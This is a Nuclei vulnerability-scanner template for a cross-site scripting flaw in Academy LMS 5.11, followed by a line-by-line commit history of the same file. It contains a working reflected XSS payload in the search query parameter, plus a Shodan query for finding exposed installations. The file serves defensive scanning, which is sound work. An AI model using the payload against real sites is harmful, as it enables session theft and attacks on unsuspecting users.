nuclei-templates/vulnerabilities/other/academy-lms-xss.yaml

id: academy-lms-xss

info:
  name: Academy Learning Management System 5.11 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Academy Learning Management System 5.11 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://packetstormsecurity.com/files/170514/Academy-LMS-5.11-Cross-Site-Scripting.html
    - https://vulners.com/packetstorm/PACKETSTORM:170514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: "true"
    shodan-query: http.html:"Academy LMS"
  tags: packetstorm,lms,academy,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Academy LMS'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

# Enhanced by md on 2023/03/23
matcher-update added additional data to keep the template uniform 2023-01-23 05:27:54 +00:00			`id: academy-lms-xss`
Create alms-xss 2023-01-22 18:32:57 +00:00
			`info:`
Enhancement: vulnerabilities/other/academy-lms-xss.yaml by md 2023-03-23 19:36:53 +00:00			`name: Academy Learning Management System 5.11 - Cross-Site Scripting`
Create alms-xss 2023-01-22 18:32:57 +00:00			`author: arafatansari`
			`severity: medium`
			`description: \|`
Enhancement: vulnerabilities/other/academy-lms-xss.yaml by md 2023-03-23 19:36:53 +00:00			`Academy Learning Management System 5.11 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.`
Create alms-xss 2023-01-22 18:32:57 +00:00			`reference:`
			`- https://packetstormsecurity.com/files/170514/Academy-LMS-5.11-Cross-Site-Scripting.html`
matcher-update added additional data to keep the template uniform 2023-01-23 05:27:54 +00:00			`- https://vulners.com/packetstorm/PACKETSTORM:170514`
Enhancement: vulnerabilities/other/academy-lms-xss.yaml by md 2023-03-23 19:36:53 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`
			`cvss-score: 5.4`
			`cwe-id: CWE-80`
matcher-update added additional data to keep the template uniform 2023-01-23 05:27:54 +00:00			`metadata:`
Create alms-xss 2023-01-22 18:32:57 +00:00			`verified: "true"`
updated matchers 2023-01-23 09:54:33 +00:00			`shodan-query: http.html:"Academy LMS"`
Auto Generated CVE annotations [Mon Jan 23 10:36:01 UTC 2023] :robot: 2023-01-23 10:36:01 +00:00			`tags: packetstorm,lms,academy,xss`
Create alms-xss 2023-01-22 18:32:57 +00:00
			`requests:`
matcher-update added additional data to keep the template uniform 2023-01-23 05:27:54 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"`
Create alms-xss 2023-01-22 18:32:57 +00:00
			`matchers-condition: and`
			`matchers:`
matcher-update added additional data to keep the template uniform 2023-01-23 05:27:54 +00:00			`- type: word`
Create alms-xss 2023-01-22 18:32:57 +00:00			`part: body`
			`words:`
			`- '<script>alert(document.domain)</script>'`
matcher-update added additional data to keep the template uniform 2023-01-23 05:27:54 +00:00			`- 'Academy LMS'`
			`condition: and`

updated matchers 2023-01-23 09:54:33 +00:00			`- type: word`
			`part: header`
			`words:`
			`- "text/html"`

matcher-update added additional data to keep the template uniform 2023-01-23 05:27:54 +00:00			`- type: status`
			`status:`
			`- 200`
Enhancement: vulnerabilities/other/academy-lms-xss.yaml by md 2023-03-23 19:36:53 +00:00
			`# Enhanced by md on 2023/03/23`